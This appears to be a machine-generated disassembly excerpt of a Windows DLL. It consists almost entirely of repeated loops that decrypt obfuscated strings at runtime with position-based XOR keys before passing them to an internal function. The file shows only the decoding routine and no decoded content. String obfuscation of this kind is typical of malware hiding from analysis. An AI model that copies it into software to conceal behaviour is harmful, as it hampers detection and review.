packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x152c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1528]
add r9, rax
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a5e10
lea rdx, [0x180249514]
lea rcx, [rbp + 0x1528]
call fcn.180007380
movups xmm0, xmmword [str.eTTO]
movups xmmword [rbp + 0x1e40], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a5fd4
cmp r12d, 2
jl 0x1800a5f95
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1e44]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a5ea0
jmp 0x1800a5fd4
lea r9, [rbp + 0x1e40]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a5fa0
lea rdx, [0x180249518]
lea rcx, [rbp + 0x1e40]
call fcn.180007380
movaps xmm0, xmm8
call fcn.180008a70
movzx eax, word [0x1801c43e0]
mov r8d, r14d
mov word [rbp + 0x2350], ax
movzx eax, byte [0x1801c43e2]
mov byte [rbp + 0x2352], al
movups xmm0, xmmword [0x1801c43d0]
movups xmmword [rbp + 0x2340], xmm0
cmp r12d, 2
jl 0x1800a613b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2344]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a6040
cmp r8d, 0x13
jge 0x1800a6184
movsxd rax, r8d
lea r9, [rbp + 0x2340]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x1800a6150
lea rdx, [0x18024951c]
lea rcx, [rbp + 0x2340]
call fcn.180007380
cmp byte [0x1801c43fb], r14b
movups xmm0, xmmword [str.dRHXSI]
mov eax, dword [0x1801c43f8]
mov dword [rbp + 0x2440], eax
movups xmmword [rbp + 0x2430], xmm0
je 0x1800a6324
mov r8d, r14d
cmp r12d, 2
jl 0x1800a62db
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2434]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a61e0
cmp r8d, 0x14
jge 0x1800a6324
movsxd rax, r8d
lea r9, [rbp + 0x2430]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x14
jl 0x1800a62f0
lea rdx, [0x18024db2c]
lea rcx, [rbp + 0x2430]
call fcn.180007380
cmp byte [reloc.WLDAP32.dll_Ordinal_79], r14b
movups xmm0, xmmword [str.bRTJTNI]
movzx eax, word [0x1801c4418]
mov word [rbp + 0x2828], ax
movups xmmword [rbp + 0x2810], xmm0
movsd xmm0, qword [0x1801c4410]
movsd qword [rbp + 0x2820], xmm0
je 0x1800a64d4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a648b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2814]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x18
jl 0x1800a6390
cmp r8d, 0x1a
jge 0x1800a64d4
movsxd rax, r8d
lea r9, [rbp + 0x2810]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x1800a64a0
lea rdx, [0x18024db10]
lea rcx, [rbp + 0x2810]
call fcn.180007380
movups xmm0, xmmword [str.u__XH]
movups xmmword [rbp + 0x1e30], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x1800a6664
cmp r12d, 2
jl 0x1800a6625
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1e34]
mov r8d, dword [rsp + 0x70]
mov edx, r14d
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add edx, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x1800a6530
jmp 0x1800a6664
lea r9, [rbp + 0x1e30]
mov r8d, r14d
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x10
jl 0x1800a6630
lea rdx, [0x18024db14]
lea rcx, [rbp + 0x1e30]
call fcn.180007380
cmp byte [0x1801c4441], r14b
movups xmm0, xmmword [0x1801c4430]
movzx eax, word [0x1801c4440]
mov word [rbp + 0x21a0], ax
movups xmmword [rbp + 0x2190], xmm0
je 0x1800a6804
mov r8d, r14d
cmp r12d, 2
jl 0x1800a67bb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2194]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a66c0
cmp r8d, 0x12
jge 0x1800a6804
movsxd rax, r8d
lea r9, [rbp + 0x2190]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x1800a67d0
lea rdx, [0x18024db1c]
lea rcx, [rbp + 0x2190]
call fcn.180007380
movzx eax, byte [0x1801c4458]
mov r8d, r14d
mov byte [rbp + 0x2008], al
movups xmm0, xmmword [str.eRUP]
movups xmmword [rbp + 0x1ff8], xmm0
cmp r12d, 2
jl 0x1800a694c
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x1ffc]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a6851
cmp r8d, 0x11
jge 0x1800a6994
movsxd rax, r8d
lea r9, [rbp + 0x1ff8]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x11
jl 0x1800a6960
lea rdx, [0x18024db20]
lea rcx, [rbp + 0x1ff8]
call fcn.180007380
mov eax, dword [0x1801c4470]
mov r8d, r14d
mov dword [rbp + 0x2488], eax
movzx eax, byte [0x1801c4474]
mov byte [rbp + 0x248c], al
movups xmm0, xmmword [0x1801c4460]
movups xmmword [rbp + 0x2478], xmm0
cmp r12d, 2
jl 0x1800a6aeb
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x247c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a69f0
cmp r8d, 0x15
jge 0x1800a6b34
movsxd rax, r8d
lea r9, [rbp + 0x2478]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x15
jl 0x1800a6b00
lea rdx, [0x18024db24]
lea rcx, [rbp + 0x2478]
call fcn.180007380
mov eax, dword [0x1801c4488]
mov r8d, r14d
mov dword [rbp + 0x2680], eax
movzx eax, word [0x1801c448c]
mov word [rbp + 0x2684], ax
movzx eax, byte [0x1801c448e]
mov byte [rbp + 0x2686], al
movups xmm0, xmmword [str.pXJZ_]
movups xmmword [rbp + 0x2670], xmm0
cmp r12d, 2
jl 0x1800a6c9b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2674]
mov edx, dword [rsp + 0x70]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x1800a6ba0
cmp r8d, 0x17
jge 0x1800a6ce4
movsxd rax, r8d
lea r9, [rbp + 0x2670]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x17
jl 0x1800a6cb0
lea rdx, [0x18024db28]
lea rcx, [rbp + 0x2670]
call fcn.180007380
mov eax, dword [0x1801c4498]
mov r8d, r14d
movsd xmm0, qword [0x1801c4490]
mov dword [rbp + 0x1cb8], eax
movzx eax, word [0x1801c449c]
mov word [rbp + 0x1cbc], ax
movzx eax, byte [0x1801c449e]
mov byte [rbp + 0x1cbe], al
movsd qword [rbp + 0x1cb0], xmm0
cmp r12d, 2
jl 0x1800a6e28
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c4490]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1cb0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1cb4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1cb4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1cb0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x1800a6e40
lea rdx, [0x18024db0c]
lea rcx, [rbp + 0x1cb0]
call fcn.180007380
movzx eax, byte [0x1801c44a8]
lea rdx, [0x18024db30]
movsd xmm0, qword [0x1801c44a0]
lea rcx, [rbp + 0xdb8]
movsd qword [rbp + 0xdb8], xmm0
xor al, 0x3e
xor byte [rbp + 0xdb9], 0x37
xor byte [rbp + 0xdba], 0x38
xor byte [rbp + 0xdbb], 0x39
xor byte [rbp + 0xdbc], 0x3a
xor byte [rbp + 0xdbd], 0x3b
xor byte [rbp + 0xdbe], 0x3c
xor byte [rbp + 0xdbf], 0x3d
mov byte [rbp + 0xdc0], al
mov byte [rbp + 0xdb8], 0x45
call fcn.180007380
movzx ecx, word [0x1801c44b8]
lea rdx, [0x18024db34]
movzx eax, byte [0x1801c44ba]
movsd xmm0, qword [str.fVVPYeTP__]
xor al, 0x40
movsd qword [rbp + 0x1258], xmm0
xor byte [rbp + 0x1259], 0x37
xor byte [rbp + 0x125a], 0x38
xor byte [rbp + 0x125b], 0x39
xor byte [rbp + 0x125c], 0x3a
xor byte [rbp + 0x125d], 0x3b
xor byte [rbp + 0x125e], 0x3c
xor byte [rbp + 0x125f], 0x3d
mov word [rbp + 0x1260], cx
xor cl, 0x3e
xor byte [rbp + 0x1261], 0x3f
mov byte [rbp + 0x1260], cl
lea rcx, [rbp + 0x1258]
mov byte [rbp + 0x1258], 0x50
mov byte [rbp + 0x1262], al
call fcn.180007380
movaps xmm0, xmm8
call fcn.180008a70
cmp byte [0x1801c44cb], r14b
movsd xmm0, qword [str.xX_USK]
mov eax, dword [str.WQ_A]
movsd qword [rbp + 0x1538], xmm0
mov dword [rbp + 0x1540], eax
je 0x1800a70f4
mov r8d, r14d
cmp r12d, 2
jl 0x1800a70a5
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.xX_USK]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1538], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x153c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x153c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1538]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800a70c0
lea rdx, [0x18024db38]
lea rcx, [rbp + 0x1538]
call fcn.180007380
cmp byte [0x1801c44e3], r14b
movups xmm0, xmmword [0x1801c44d0]
mov eax, dword [0x1801c44e0]
mov dword [rbp + 0x2458], eax
movups xmmword [rbp + 0x2448], xmm0
je 0x1800a7294
mov r8d, r14d
cmp r12d, 2
jl 0x1800a724b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x244c]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
